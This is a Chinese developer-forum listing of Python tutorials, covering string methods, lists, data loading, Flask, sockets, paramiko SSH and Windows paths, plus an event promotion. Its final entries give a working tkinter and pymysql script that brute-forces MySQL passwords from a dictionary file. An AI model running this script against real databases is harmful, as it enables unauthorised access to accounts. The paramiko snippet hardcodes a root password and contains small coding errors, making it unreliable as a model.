• [技术干货] python中strip(),lstrip(),rstrip()函数的使用讲解
    1. strip()它的函数原型:string.strip(s[, chars]),它返回的是字符串的副本,并删除前导和后缀字符。(意思就是你想去掉字符串里面的哪些字符,那么你就把这些字符当参数传入。此函数只会删除头和尾的字符,中间的不会删除。)如果strip()的参数为空,那么会默认删除字符串头和尾的空白字符(包括\n,\r,\t这些)。1234567#这里注意字符串a的两端都有一个空白字符,字符a和n之间也有一个。a=" \rzha ng\n\t "print(len(a)) b=a.strip()print(b)print(len(b))输出:11zha ng6当参数为空的时候,两端的空白符,\r,\n,\t都被删除了,但是中间的那个空白符没动。我们看下当有参数的时候是什么情况:123a="rrbbrrddrr"b=a.strip("r")print(b)输出:bbrrdd中间的字符r没动,两端的都删除了,现在来看看我们传入多个字符参数的情况:1234567a="aabcacb1111acbba"print(a.strip("abc"))print(a.strip("acb"))print(a.strip("bac"))print(a.strip("bca"))print(a.strip("cab"))print(a.strip("cba"))输出:111111111111111111111111 从这个代码看出什么了吗?可能和你想的不一样,当你传的参数不管是“abc”还是abc的其他排列形式,这都不重要,重要的是函数只知道你要删除的字符是”a”,”b”,”c”。函数会把你传的参数拆解成一个个的字符,然后把头尾的这些字符去掉。明白了吧!2. lstrip()和rstrip() 这两个函数和上面的strip()基本是一样的,参数结构也一样,只不过一个是去掉左边的(头部),一个是去掉右边的(尾部)。123a=" zhangkang "print(a.lstrip(),len(a.lstrip()))print(a.rstrip(),len(a.rstrip()))输出:('zhangkang ', 10)(' zhangkang', 10)当没有参数的时候,一个去掉了左边的空白,一个去掉了右边的空白。当传参数的时候:123a="babacb111baccbb"print(a.lstrip("abc"))print(a.rstrip("abc"))输出:111baccbbbabacb111
  • [技术干货] Python 删除List元素的三种方法remove、pop、del
    1.remove: 删除单个元素,删除首个符合条件的元素,按值删除,从左向右依次删除符合条件的值举例说明:1234>>> str=[1,2,3,4,5,2,6]>>> str.remove(2)>>> str[1, 3, 4, 5, 2, 6]2.pop: 删除单个或多个元素,按位删除(根据索引删除)12345678910>>> str=[0,1,2,3,4,5,6]>>> str.pop(1)  #pop删除时会返回被删除的元素1>>> str[0, 2, 3, 4, 5, 6]>>> str2=['abc','bcd','dce']>>> str2.pop(2)'dce'>>> str2['abc', 'bcd']3.del:它是根据索引(元素所在位置)来删除举例说明:12345678>>> str=[1,2,3,4,5,2,6]>>> del str[1]>>> str[1, 3, 4, 5, 2, 6]>>> str2=['abc','bcd','dce']>>> del str2[1]>>> str2['abc', 'dce']除此之外,del还可以删除指定范围内的值。1234>>> str=[0,1,2,3,4,5,6]>>> del str[2:4] #删除从第2个元素开始,到第4个为止的元素(但是不包括尾部元素)>>> str[0, 1, 4, 5, 6]del 也可以删除整个数据对象(列表、集合等)1234567>>> str=[0,1,2,3,4,5,6]>>> del str>>> str     #删除后,找不到对象Traceback (most recent call last): File "<pyshell#27>", line 1, in <module>  strNameError: name 'str' is not defined注意:del是删除引用(变量)而不是删除对象(数据),对象由自动垃圾回收机制(GC)删除。补充: 删除元素的变相方法1234567891011s1=(1,2,3,4,5,6)s2=(2,3,5)s3=[]for i in s1:if i not in s2:  s3.append(i)print 's1-1:',s1s1=s3print 's2:',s2print 's3:',s3print 's1-2:',s1
  • [技术干货] Python3中小括号()、中括号[]、花括号{}的区别详解
    介绍在Python语言中最常见的括号有三种,分别是:小括号()、中括号[]、花括号{};其作用也不相同,分别用来代表不同的Python基本内置数据类型。小括号()Python中的小括号():代表tuple元祖数据类型,元祖是一种不可变序列。示例1234567>>> a = (12,23)>>> a(12, 23)>>> ()  #空元祖()>>> 1, #一个值的元祖(1,)中括号[]Python中的中括号[]: 代表list列表数据类型,列表是一种可变序列。示例12>>> list('home') ['h', 'o', 'm', 'e']二维列表例子如下:1list_sample = [['IBM','Apple','Lenove'],['America','China']]列表通过从0开始的索引值来访问,可以为负数,代表从后往前访问:12345>>> vehicle = ['train','bus','car','ship'] >>> vehicle[-2] 'car'花括号{}Python中的花括号{}: 代表dict字典数据类型,字典是Python中唯一内建的映射类型。字典中的值没有特殊的顺序,但都是存储在一个特定的键(key)下。键可以是数字、字符串与元祖。示例123>>> dic = {'jay':'boy','may"':'girl'}>>> dic{'jay': 'boy', 'may': 'girl'}通过list()函数可以将字典转化成列表,但是列表不能转化为字典同理,通过tuple()函数可以将字典转化成元组,但是元组不能转化为字典
  • [技术干货] Python加载数据的5种不同方式(收藏)
    数据是数据科学家的基础,因此了解许多加载数据进行分析的方法至关重要。在这里,我们将介绍五种Python数据输入技术,并提供代码示例供您参考。作为初学者,您可能只知道一种使用p andas.read_csv函数读取数据的方式(通常以CSV格式)。它是最成熟,功能最强大的功能之一,但其他方法很有帮助,有时肯定会派上用场。我要讨论的方法是:Manual 函数loadtxt 函数genfromtxtf 函数read_csv 函数Pickle我们将用于加载数据的数据集可以在此处找到 。它被称为100-Sales-Records。Imports我们将使用Numpy,Pandas和Pickle软件包,因此将其导入。1. Manual Function这是最困难的,因为您必须设计一个自定义函数,该函数可以为您加载数据。您必须处理Python的常规归档概念,并使用它来读取 .csv 文件。让我们在100个销售记录文件上执行此操作。嗯,这是什么????似乎有点复杂的代码!!!让我们逐步打破它,以便您了解正在发生的事情,并且可以应用类似的逻辑来读取 自己的 .csv文件。在这里,我创建了一个 load_csv 函数,该函数将要读取的文件的路径作为参数。我有一个名为data 的列表, 它将具有我的CSV文件数据,而另一个列表 col 将具有我的列名。现在,在手动检查了csv之后,我知道列名在第一行中,因此在我的第一次迭代中,我必须将第一行的数据存储在 col中, 并将其余行存储在 data中。为了检查第一次迭代,我使用了一个名为checkcol 的布尔变量, 它为False,并且在第一次迭代中为false时,它将第一行的数据存储在 col中 ,然后将checkcol 设置 为True,因此我们将处理 数据列表并将其余值存储在 数据列表中。逻辑这里的主要逻辑是,我使用readlines() Python中的函数在文件中进行了迭代 。此函数返回一个列表,其中包含文件中的所有行。当阅读标题时,它会将新行检测为 \ n 字符,即行终止字符,因此为了删除它,我使用了 str.replace 函数。由于这是一个 的.csv 文件,所以我必须要根据不同的东西 逗号 ,所以我会各执一个字符串, 用 string.split(“”) 。对于第一次迭代,我将存储第一行,其中包含列名的列表称为 col。然后,我会将所有数据附加到名为data的列表中 。为了更漂亮地读取数据,我将其作为数据框格式返回,因为与numpy数组或python的列表相比,读取数据框更容易。输出量利弊重要的好处是您具有文件结构的所有灵活性和控制权,并且可以以任何想要的格式和方式读取和存储它。您也可以使用自己的逻辑读取不具有标准结构的文件。它的重要缺点是,特别是对于标准类型的文件,编写起来很复杂,因为它们很容易读取。您必须对需要反复试验的逻辑进行硬编码。仅当文件不是标准格式或想要灵活性并且以库无法提供的方式读取文件时,才应使用它。2. Numpy.loadtxt函数这是Python中著名的数字库Numpy中的内置函数。加载数据是一个非常简单的功能。这对于读取相同数据类型的数据非常有用。当数据更复杂时,使用此功能很难读取,但是当文件简单时,此功能确实非常强大。要获取单一类型的数据,可以下载 此处 虚拟数据集。让我们跳到代码。这里,我们简单地使用了在传入的定界符中 作为 ','的 loadtxt 函数 , 因为这是一个CSV文件。现在,如果我们打印 df,我们将看到可以使用的相当不错的numpy数组中的数据。由于数据量很大,我们仅打印了前5行。利弊使用此功能的一个重要方面是您可以将文件中的数据快速加载到numpy数组中。缺点是您不能有其他数据类型或数据中缺少行。3. Numpy.genfromtxt()我们将使用数据集,即第一个示例中使用的数据集“ 100 Sales Records.csv”,以证明其中可以包含多种数据类型。让我们跳到代码。为了更清楚地看到它,我们可以以数据框格式看到它,即这是什么?哦,它已跳过所有具有字符串数据类型的列。怎么处理呢?只需添加另一个 dtype 参数并将dtype 设置 为None即可,这意味着它必须照顾每一列本身的数据类型。不将整个数据转换为单个dtype。然后输出比第一个要好得多,但是这里的“列”标题是“行”,要使其成为列标题,我们必须添加另一个参数,即 名称 ,并将其设置为 True, 这样它将第一行作为“列标题”。即1df3 = np.genfromtxt('100 Sales Records.csv', delimiter=',', dtype=None, names=True, encoding='utf-8')    我们可以将其打印为4. Pandas.read_csv()Pandas是一个非常流行的数据操作库,它非常常用。read_csv()是非常重要且成熟的 功能 之一,它 可以非常轻松地读取任何 .csv 文件并帮助我们进行操作。让我们在100个销售记录的数据集上进行操作。此功能易于使用,因此非常受欢迎。您可以将其与我们之前的代码进行比较,然后进行检查。你猜怎么着?我们完了。这实际上是如此简单和易于使用。Pandas.read_csv肯定提供了许多其他参数来调整我们的数据集,例如在我们的 convertcsv.csv 文件中,我们没有列名,因此我们可以将其读取为我们可以看到它已经读取了没有标题的 csv 文件。您可以在此处查看官方文档中的所有其他参数 。5. Pickle如果您的数据不是人类可以理解的良好格式,则可以使用pickle将其保存为二进制格式。然后,您可以使用pickle库轻松地重新加载它。我们将获取100个销售记录的CSV文件,并首先将其保存为pickle格式,以便我们可以读取它。这将创建一个新文件 test.pkl ,其中包含来自 Pandas 标题的 pdDf 。现在使用pickle打开它,我们只需要使用 pickle.load 函数。在这里,我们已成功从pandas.DataFrame 格式的pickle文件中加载了数据 。
  • [技术干货] python+flask编写一个简单的登录接口
    在学习接口测试的时候往往会因为没有实际操作的接口进行测试而烦恼,这里教大家自己编写两个接口用于学习接口测试1、编写一个登录的接口2、在pycharm运行3、使用apipost进行登录接口测试输入url和参数值进行访问,访问成功。4、在pycharm查看是否正常进行访问5、在编写一个需要登录返回的token直接访问的查询接口6、运行登录和查询两个接口7、使用apipost进行登录和查询的接口测试首先进行登录的接口测试获取返回的token使用登录返回的token值进行查询的接口测试8、使用的工具接口编写工具:python、pycharm、flask框架接口测试工具:apipost接口测试工具下载地址:https://www.apipost.cn
  • [技术干货] python中的测试框架
    一、测试常用规则一个测试单元必须关注一个很小的功能函数,证明它是正确的;每个测试单元必须是完全独立的,必须能单独运行。这样意味着每一个测试方法必须重新加载数据,执行完毕后做一些清理工作。通常通过setUp()和setDown()方法处理;编写执行快速的测试代码。在某些情况下,测试需要加载复杂的数据结构,而且每次执行的时候都要重新加载,这个时候测试执行会很慢。因此,在这种情况下,可以将这种测试放置一个后台的任务中。在编写代码前执行完整的测试,而且在编写代码后再重新执行一次。这样能保证你后来编写的代码不会破坏任何事情;在提交代码前执行完整的测试;如果在开发期间被打断了工作,写一个打断的单元测试,关于你下一步将要开发的。当你回来工作时,你能知道上一步开发到的指针;单元测试函数使用长的而且具有描述性的名字。在正式执行代码中,可能使用square()或sqr()取名,但是在测试函数中,你必须取像test_square_of_number_2()、test_square_negativer_number()这些名字,这些名字描述更加清楚;测试代码必须具有可读性;单元测试对新进的开发人员来说是工作指南。二、python常用的测试框架1. unittestunittest是Python内置的标准类库unittest 和 JUnit类似,可以说是python的标准单元测试框架,所以有时也被人称为 PyUnit。它使用起来和xUnit 家族其他成员类似。 用的人也比较多。兼容 python2 以及python3 。2、unittest2unittest2 可以说是一个针对 unittest测试框架新特性的补丁。它很大程度上和unittest都类似。然后还添加了一些unittest没有的方法。3、pytestpy.test是unittest的替代工具。尽管它是一个功能丰富、灵活的测试框架,但是它的语法很简单。创建一个单元测试就像编写一个模块一样。相比unittest,实现相同的测试功能,py.test做的事情更少。pytest 直接可以通过 @pytest.mark.parametrize 进行参数化,而unittest 则需要借助DDT。4、noseNose是对unittest的扩展,使得python的测试更加简单。nose自动发现测试代码并执行,nose提供了大量的插件,比如测试输出的xUnitcompatible,覆盖报表等等。基于Python的测试驱动开发实战 也有nose的用法: http://python.jobbole.com/81305/还有一个特定就是,nose可以采用 @with_setup() 来定义方法的setup和teardown。5、doctestdoctest模块会搜索那些看起来像交互式会话的 Python 代码片段,然后尝试执行并验证结果。6、tox最大的特色,是自动最测试环境的管理以及使用多个解析器配置进行测试。tox的详细文档: http://testrun.org/tox/latest/7、mockunittest.mock是用来测试python的库。在python3.3版本以后,这个是一个标准库。 对老版本来说,使用pip install mock 进行安装。mock的精髓在于,你可以使用模拟的对象来替代你的系统的一部分,然后验证后续的执行是否正确。mock的详细文档:http://www.voidspace.org.uk/python/mock/
  • [技术干货] python 利用opencv实现图像网络传输
    本代码主要实现的是利用网络传输图片,用在我的树莓派项目之上。该项目在PC上运行服务端,树莓派上运行客户端,两者连接到同一局域网中,修改代码中的IP地址,就可以实现将树莓派采集到的图像数据实时传输到PC端。先运行服务端代码,然后运行客户端代码即可。树莓派摄像头使用的是普通的USB摄像头,并且在树莓派上安装了opencv,在树莓派上安装opencv的过程可以参考https://www.pyimagesearch.com/2017/09/04/raspbian-stretch-install-opencv-3-python-on-your-raspberry-pi/。最后,该代码稍加修改就可以传输其他的信息,当然服务端,客户端也可以同时在PC上运行,以验证结果。所以本质还是希望读者借此代码可以了解python的socket编程。代码意义已在注释中详细说明,仅供参考。使用时请注意修改IP地址和端口号。服务端代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657import socketimport timeimport cv2import numpy  def ReceiveVideo():    #IP地址'0.0.0.0'为等待客户端连接    address = ('0.0.0.0', 8002)    #建立socket对象,参数意义见https://blog.csdn.net/rebelqsp/article/details/22109925    #socket.AF_INET:服务器之间网络通信     #socket.SOCK_STREAM:流式socket , for TCP    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #将套接字绑定到地址, 在AF_INET下,以元组(host,port)的形式表示地址.    s.bind(address)    #开始监听TCP传入连接。参数指定在拒绝连接之前,操作系统可以挂起的最大连接数量。该值至少为1,大部分应用程序设为5就可以了。    s.listen(1)      def recvall(sock, count):        buf = b''#buf是一个byte类型        while count:            #接受TCP套接字的数据。数据以字符串形式返回,count指定要接收的最大数据量.            newbuf = sock.recv(count)            if not newbuf: return None            buf += newbuf            count -= len(newbuf)        return buf             #接受TCP连接并返回(conn,address),其中conn是新的套接字对象,可以用来接收和发送数据。addr是连接客户端的地址。    #没有连接则等待有连接    conn, addr = s.accept()    print('connect from:'+str(addr))    while 1:        start = time.time()#用于计算帧率信息        length = recvall(conn,16)#获得图片文件的长度,16代表获取长度        stringData = recvall(conn, int(length))#根据获得的文件长度,获取图片文件        data = numpy.frombuffer(stringData, numpy.uint8)#将获取到的字符流数据转换成1维数组        decimg=cv2.imdecode(data,cv2.IMREAD_COLOR)#将数组解码成图像        cv2.imshow('SERVER',decimg)#显示图像                 #进行下一步处理        #。        #。        #。      #将帧率信息回传,主要目的是测试可以双向通信        end = time.time()        seconds = end - start        fps = 1/seconds;        conn.send(bytes(str(int(fps)),encoding='utf-8'))        k = cv2.waitKey(10)&0xff        if k == 27:            break    s.close()    cv2.destroyAllWindows()  if __name__ == '__main__':    ReceiveVideo()客户端代码:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354import socketimport cv2import numpyimport time  def SendVideo():    #建立sock连接    #address要连接的服务器IP地址和端口号    address = ('127.0.0.1', 8002)    try:        #建立socket对象,参数意义见https://blog.csdn.net/rebelqsp/article/details/22109925        #socket.AF_INET:服务器之间网络通信         #socket.SOCK_STREAM:流式socket , for TCP        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)        #开启连接        sock.connect(address)    except socket.error as msg:        print(msg)        sys.exit(1)      #建立图像读取对象    capture = cv2.VideoCapture(0)    #读取一帧图像,读取成功:ret=1 frame=读取到的一帧图像;读取失败:ret=0    ret, frame = capture.read()    #压缩参数,后面cv2.imencode将会用到,对于jpeg来说,15代表图像质量,越高代表图像质量越好为 0-100,默认95    encode_param=[int(cv2.IMWRITE_JPEG_QUALITY),15]      while ret:        #停止0.1S 防止发送过快服务的处理不过来,如果服务端的处理很多,那么应该加大这个值        time.sleep(0.01)        #cv2.imencode将图片格式转换(编码)成流数据,赋值到内存缓存中;主要用于图像数据格式的压缩,方便网络传输        #'.jpg'表示将图片按照jpg格式编码。        result, imgencode = cv2.imencode('.jpg', frame, encode_param)        #建立矩阵        data = numpy.array(imgencode)        #将numpy矩阵转换成字符形式,以便在网络中传输        stringData = data.tostring()                 #先发送要发送的数据的长度        #ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串        sock.send(str.encode(str(len(stringData)).ljust(16)));        #发送数据        sock.send(stringData);        #读取服务器返回值        receive = sock.recv(1024)        if len(receive):print(str(receive,encoding='utf-8'))        #读取下一帧图片        ret, frame = capture.read()        if cv2.waitKey(10) == 27:            break    sock.close()     if __name__ == '__main__':    SendVideo()
  • [技术干货] Python远程linux执行命令实现
    1、远程登录到linux上,使用到的模块paramiko12345678910111213141516171819202122232425262728#远程登陆操作系统def ssh(sys_ip,username,password,cmds):  try    #创建ssh客户端    client = paramiko.SSHClient()    #第一次ssh远程时会提示输入yes或者no    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #密码方式远程连接    client.connect(sys_ip, 22, username=username, password=password, timeout=20)    #互信方式远程连接    #key_file = paramiko.RSAKey.from_private_key_file("/root/.ssh/id_rsa")    #ssh.connect(sys_ip, 22, username=username, pkey=key_file, timeout=20)    #执行命令    stdin, stdout, stderr = ssh.exec_command(cmds[key])    #获取命令执行结果,返回的数据是一个list    result = stdout.readlines()    return result  except Exception, e:    print e  finally:    client.close()  if __name__=="__main__":  sys_ip = "192.168.0.102"  username = "root"  password = "1"  cmds = "pwd"  print ssh(sys_ip,username,password,cmds)此处有个主意点,我遇到了,在密码登陆的时候,同样的python连接代码,放在python脚本里面执行就是报下面的错,但是将代码拷贝到python的交互模式下执行就是成功的,这个时候就是需要看下要远程的用户ssh配置是不是只支持键盘交互、密钥验证,如果是这样的话,使用密码远程登录就会报下面的错误File "/usr/local/lib/python2.7/site-packages/paramiko/client.py", line 337, in connect    self._auth(username, password, pkey, key_filenames, allow_agent, look_for_keys)  File "/usr/local/lib/python2.7/site-packages/paramiko/client.py", line 528, in _auth    raise saved_exceptionAuthenticationException: Authentication failed.   File "/usr/local/lib/python2.7/site-packages/paramiko/client.py", line 337, in connect    self._auth(username, password, pkey, key_filenames, allow_agent, look_for_keys)  File "/usr/local/lib/python2.7/site-packages/paramiko/client.py", line 528, in _auth    raise saved_exceptionparamiko.SSHException: No existing session这个是因为linux会检测远程连接有没有tty(键盘交互),脚本方式运行的时候就没有键盘交互,看网上有在connect加,allow_agent=False,look_for_keys=False这2个参数解决的,但是我的没有解决,ssh.connect('localhost',username=name,password=pw,allow_agent=False,look_for_keys=False)2、使用ssh,需要使用到shell命令expect首先创建一个shell脚本remotExect.sh12345678910111213141516#!/usr/bin/expectset timeout 2set local_file [lindex $argv 0]set username  [lindex $argv 1]set password  [lindex $argv 2]set hostname  [lindex $argv 3]set remote_file [lindex $argv 4]  spawn scp $local_file $username@$hostname:$remote_fileexpect {"yes/no"#是为了捕获首次登录,要手动输入yes/no的情况{send "yes\r";}"password:"#为例捕获需要输入密码的行为{send "$password\r";}}expect eof然后在python中执行123import oscpFileCmd = "./remotecp.sh 1.txt root 1 192.168.0.102 /opt/1.txt"os.system(cpFileCmd)
  • [热门活动] (活动已结束)【开发者福利季】开发者身份评测认证,点亮勋章享大礼
    2020年末,华为云为开发者送福利来了!认证成为华为云开发者,开启个人技能画像,点亮开发者勋章,多重好礼等你来拿。已开启Java、Python、前端开发、API、低代码开发、敏捷教练六个通道,哪个才是你的菜,是你未来的方向。赶快来测一测吧!获奖情况将于12月15日在论坛公布,请持续关注。【活动时间】活动已结束(11月11日-12月15日)【活动内容】活动整体分三个阶段进行,认证成为华为云开发者后,专属福利逐级开启。 学习礼——争当开发者,不做尾款人 开启时间:11月11日    认证通过点亮专属勋章,开启个人技能画像。勋章查看地址:https://devcloud.huaweicloud.com/expert/assessment/skill获得会员中心200码豆,限量240000码豆,先到先得,发完即止。每个ID限领一次。码豆查看地址:https://devcloud.huaweicloud.com/bonususer/home/converge邀请5人以上(含5人)参加测评,将获得知识大礼包一份。同时获得抽奖资格,有机会获得50元京东卡和锦鲤大奖。测评完成后参与主题帖活动,还有机会获得时尚卫衣、电动牙刷等精美礼品。详情请点击链接参加:学习周 ——争当开发者,不做尾款人 抢兑礼——感恩回馈,限时兑换  开启时间:11月17日认证通过后,即可开启会员中心开发者专区优惠购资格,参与1码豆抢兑、5折/8折码豆优惠购,数量有限,先到先得。活动详情请点击:https://bbs.huaweicloud.com/forum/thread-87785-1-1.html测评完成后参与主题帖活动,还有机会获得时尚卫衣、机械键盘等精美礼品。详情请点击链接参加:抢兑周—— 感恩回馈,限时兑换更多活动信息和礼品详情,扫码可知。狂欢礼——大奖来袭,谁是锦鲤   开启时间:11月29日邀请5人以上(含5人)参与评测获得抽奖资格,将抽取幸运奖和锦鲤大奖。邀请人数统计截止于12月10日,12月14日结果公示,12月15日获奖公布。测评完成后参与主题帖活动,还有机会获得时尚卫衣、移动快充等精美礼品。详情请点击链接参加:狂欢周——大奖来袭,谁是锦鲤   (即将开启,敬请期待)【参与方式】根据自己的特长,选择下方任一测评题目,参与评测并认证通过即可参与。API测评通道Java测评通道Python测评通道前端开发测评通道低代码开发测评通道敏捷教练测评通道【活动说明】1.本次活动为华为云开发者身份测评认证,参与者首先要注册成为华为云用户,才能参与本次活动。2.活动期间,每位开发者可以多次参与答题,分数以最高成绩为准。3.每个华为云账号只能被邀请一次。4.本次活动所有回帖内容需满足华为云论坛发帖规范:https://bbs.huaweicloud.com/forum/thread-23077-1-1.html5.不得使用各类非正常渠道或方式注册账号参与,违者取消活动参与及获奖资格;获奖人收件信息与实名信息不一致者或获奖人从未参与过测评,亦不予发奖。5.获奖情况的公示和获奖通知后续会在论坛发出,请关注本帖。6.所有获奖礼品将于12月30日前寄出。7.如您在测评活动中遇到相关问题,可点击下方链接反馈,请于12月15日24时前反馈,过期反馈视为无效,望周知。 反馈链接>>8.华为云开发者生态DevCloud专家服务团队对本活动规则有最终解释权。
  • [技术干货] python 解决Windows平台上路径有空格的问题
    最近在采集windows上中间件的时候,遇到了文件路径有空格的问题。例如:Aapche的安装路径为D:\Program Files\Apache Software Foundation\Apache2.2。采集apache要读取配置文件D:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf执行一些D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe -v 这种命令。读取配置文件是没有问题的,因为用的是python代码,打开文件,读取文件,一行一行遍历,用正则匹配或者字符串比较,就能获取到信息,例如读取配置信息获取端口号。12345678910111213port_list=[] with open(httpd_conf, "r") as f: file_list = f.readlines() regex = ur"^Listen\s*(\S*?:)*(\d+)\s*$" pattern_listener = re.compile(regex) for item in file_list:  listener_list = pattern_listener.findall(item)  if listener_list:   for port_info in listener_list:    if port_info:     port = port_info[1]     if port and port.strip():      port_list.append(port.strip()) 接下来说下,D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe -v 这种通过命令获取信息的。httpd.exe -v 是获取apache的版本信息。直接在在cmd命令行中输入,显示如下。 D:\>D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe -v'D:\Program' 不是内部或外部命令,也不是可运行的程序或批处理文件。  有空格问题,搜了搜发现比较好的一种解决办法,就是在把命令用双引号引起来,下边两种写法都可以。1234567D:\>"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" -vServer version: Apache/2.2.22 (Win32)Server built: Jan 28 2012 11:16:39 D:\>"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" "-v"Server version: Apache/2.2.22 (Win32)Server built: Jan 28 2012 11:16:39接下来我们在python中用os.popen().read()试试怎么弄。12345678910111213>>> import os>>> cmd='"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" -v'>>> os.popen(cmd).read()  --这种写法读出来结果为空,是因为\要经过转义,前边加个r就行,cmd与cmd1区别''>>> cmd            --\b是正则表达式,所以变成了\x08'"D:\\Program Files\\Apache Software Foundation\\Apache2.2\x08in\\httpd.exe" -v'>>> cmd1=r'"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" -v'>>> cmd1'"D:\\Program Files\\Apache Software Foundation\\Apache2.2\\bin\\httpd.exe" -v' >>> os.popen(cmd1).read()'Server version: Apache/2.2.22 (Win32)\nServer built: Jan 28 2012 11:16:39\n'>>>接下来再看一个比较复杂点的命令,httpd.exe" -V|find "Server MPM" 这个用来获取apache的运行模式,windows下就是WinNT,按刚才的套路在cmd命令行里执行没问题。D:\>"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" -V|find "Server MPM" Server MPM: WinNT   那么,我们继续把他移植到python中,继续用os.popen().read()。结果如下图,都不出来结果。所以说,这种参数比较多的用这种方法是不行的。1234567891011>>> cmd1=r'"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" -V|find "Server MPM" '>>> os.popen(cmd1).read()'' >>> cmd2=r'"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" -V|find Server MPM '>>> os.popen(cmd1).read()'' >>> cmd3=r'"D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe" "-V|find Server MPM" '>>> os.popen(cmd1).read()''在查阅相关资料后,可用subprocess.Popen()来代替os.popen()这个方法,但是执行后,出来的结果不是想要的,所以说这个方法也实现不了效果(如下)。1234567891011121314>>> import subprocess>>> cmd=r'D:\Program Files\Apache Software Foundation\Apache2.2\bin\httpd.exe -V|find "Server MPM"'>>> cmd'D:\\Program Files\\Apache Software Foundation\\Apache2.2\\bin\\httpd.exe -V|find "Server MPM"'>>> ps = subprocess.Popen(cmd)>>> Server version: Apache/2.2.22 (Win32)Server built: Jan 28 2012 11:16:39Server's Module Magic Number: 20051115:30Server loaded: APR 1.4.5, APR-Util 1.4.1Compiled using: APR 1.4.5, APR-Util 1.4.1Architecture: 32-bitServer MPM:  WinNT threaded:  yes (fixed thread count) forked:  no看到这样的结果,放弃折腾了,最终选择了一个曲线救国的方案,用python的os模块,先进入到httpd.exe所在的目录,之后,再执行命令。123456>>> homepath="D:\Program Files\Apache Software Foundation\Apache2.2">>> BinPath = os.path.join(homepath, 'bin')>>> os.chdir(BinPath)>>> apache_model = os.popen('httpd.exe -V |find "Server MPM"').read()>>> print apache_modelServer MPM:  WinNT补充知识:python windows下获取路径时有中文处理在windows中用os,path.abspath(__file__)时有中文路径时,默认是转成非unicode格式这会导致,在其它模块使用该路径时,会报utf8' codec can't decode byte 0xb7 in position 14: invalid start byte怎么处理呢?网上百度了一把,解决方法都不妥当,还是来个非通用的吧,但很好使用:如下project_path = os.path.abspath(__file__.decode('gbk'))用该方法简单便捷。
  • [技术干货] Python暴力破解Mysql数据的示例(下)
        line = f.readline()    if content is not False:      break    else:      num += 1      print("正在执行破解,密码:" + password)  f.close()  end_time = time.time()  count_time = end_time - start_time  if content is not False:    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))  else:    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))  # 数据库连接测试def find_pass(host, port, database, name, password):  try:    con = pymysql.connect(      # 数据库地址      host='%s' % host,      # 端口      port=int(port),      # 用户名      user='%s' % name,      # 密码      password='%s' % password,      # 数据库名称      database='%s' % database,      # 编码设置      charset='utf8'    )    con.close()    return password # 连接成功返回 密码  except:    return False  # 按钮submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)submit.place(x=130, y=170) # 进入消息循环win.mainloop()
  • [技术干货] Python暴力破解Mysql数据的示例(中)
    完整代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116# -*-coding:UTF-8 -*-import tkinterimport tkinter.messageboximport pymysqlimport time win = tkinter.Tk() # 设置标题win.title('Mysql暴力破解')# 设置位置和大小win.geometry("400x400+704+304")# 描述性文字tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)# 主机host_default = tkinter.StringVar()host_default.set('127.0.0.1')host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))host.place(x=120, y=10)# 端口号port_default = tkinter.StringVar()port_default.set('3306')port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))port.place(x=120, y=50)# 数据库名database_default = tkinter.StringVar()database_default.set('school')database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))database.place(x=120, y=90)# 用户名name_default = tkinter.StringVar()name_default.set('root')name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))name.place(x=120, y=130)  # 计算及下一步操作def button_call_back():  # 获取输入框内的数据  host = host_default.get()  port = port_default.get()  database = database_default.get()  name = name_default.get()   if (host and port) and (database and name):    # 破解    dictionaries(host, port, database, name)  else:    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')  # 读取密码字典的方法def dictionaries(host, port, database, name):  # 字典路径  file = "./text1.txt"  f = open(file) # 返回一个文件对象  line = f.readline() # 调用文件的 readline()方法  # 密码  password = ''  # 开始时间  start_time = time.time()  # 次数  num = 0  # 结果项  content = False  while line:    # 进行破解    password = line.strip()    content = find_pass(host, port, database, name, password)
  • [技术干货] Python暴力破解Mysql数据的示例(上)
